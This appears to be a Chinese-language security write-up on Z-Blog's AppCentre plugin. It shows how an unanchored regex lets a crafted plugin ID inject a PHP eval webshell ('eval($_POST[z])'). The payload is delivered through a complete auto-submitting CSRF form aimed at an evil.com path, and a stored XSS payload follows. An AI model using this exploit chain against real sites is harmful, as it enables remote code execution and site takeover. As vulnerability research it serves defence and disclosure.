

^[A-Za-z0-9_]{3,30}
它这个正则的意思是:以字母或数字开头,匹配3到30个。 然后,然后就没了。所以只要前3个字符是数字或字幕就能通过它正则的检查了,比如我输入:test<?php phpinfo();?> ,虽然后面出现了各种符合和空格,但是前面的 test 符合了它的正则,所以这个正则依然能匹配到,就能通过它正则的检测了,如图:

^[A-Za-z0-9_]{3,30}$
注意最后加了一个$符号,意思是匹配以字幕或数字开头,并且以数字或字母结束,长度在3到30个字符之间:


$file = file_get_contents('tpl/main.html');
$file = str_replace("<%appid%>", $app->id, $file);
$path = $zbp->usersdir . 'plugin/' . $app->id . '/' . trim($_POST['app_path']);
@file_put_contents($path, $file);
就是单纯的把 <%appid%> 替换为新建插件的 ID 值。那么就开始构造了,构造的目标就是把一句话木马写进去,并且符合 PHP 的语法保证能让这个脚本文件跑起来,而因为上面绕过了正则检测,所以能写入除了字母和数字以外的字符。 但是这里有存在一个问题:仔细观察需要替换的两处位置会发现第一个需要替换的地方在语法上比第二处多了一个右括号,这就意味着无论怎么构造,要符合两处替换位置的语法是不可能的,如果符合第一处的语法,第二处肯定不符合,反之亦然(反正我没想到,不知道大佬们有什么姿势没有?)。
那就换一个思路,既然需要符合两处替换位置的语法不可能,那就让它符合一处的就好了,想到利用 ?> 闭合掉 PHP 的代码解析,让第二处替换位置不再当作 PHP 代码执行而是当作普通的文本,最终构造出的 payload:
AppCentre') || eval($_POST[z]))?>
替换后的代码如下(注意代码高亮的变化):



<html>
<head>
</head>
<body>
<form action="http://www.evil.com/zblog/zb_users/plugin/AppCentre/plugin_edit.php" method="POST" id="CSRF">
<input type="hidden" name="app_id" value="AppCentre') || eval($_POST[z]))?>
">
<input type="hidden" name="app_path" value="main.php">
<input type="hidden" name="app_include" value="include.php">
</form>
</body>
<script type="text/javascript">
document.getElementById('CSRF').submit();
</script>
</html>
But... 当我再次测试的时候发现了一个问题:




AppCentre') || eval($_POST[z]))?>
这里我插的是单引号,但是浏览器输出的闭合的引号是双引号。那看看输出的代码吧,在/zb_user/plugin/AppCentre/plugin.js 的38行:
$(this).parent().children().eq(4).append(" <a class=\"button\" href='"+bloghost+"zb_users/plugin/AppCentre/app_del.php?type=plugin&id="+t+"' title='删除该插件' onclick='return window.confirm(\"单击“确定”继续。单击“取消”停止。\");'><img height='16' width='16' src='"+bloghost+"zb_users/plugin/AppCentre/images/delete.png'/></a>");
注意到这里的输出也是使用单引号的,但是输出到页面上的时候就变成双引号了。 这其实涉及到浏览器的容错性问题,浏览器对 HTML 的语法其实不是那么的严格,为了给某些抠脚的前端程序猿做容错,会自动把一些能识别的错误纠正(比如补全、闭合之类的),或者把一些不太标准的 HTML 代码改为比较标准的形式,而这种容错在不同的浏览器内核中还不一样,这也是为什么能看到一些奇葩的 XSS payload 在某些特定的浏览器中能触发的原因。
好了,科普结束,上面也是这个原因,浏览器把单引号改为了双引号导致的。
既然有 XSS 了,那么,弹个窗?在新建插件的插件 ID 处输入:aaaa‘><svg onload=alert(1)>,保存后在插件管理处触发:









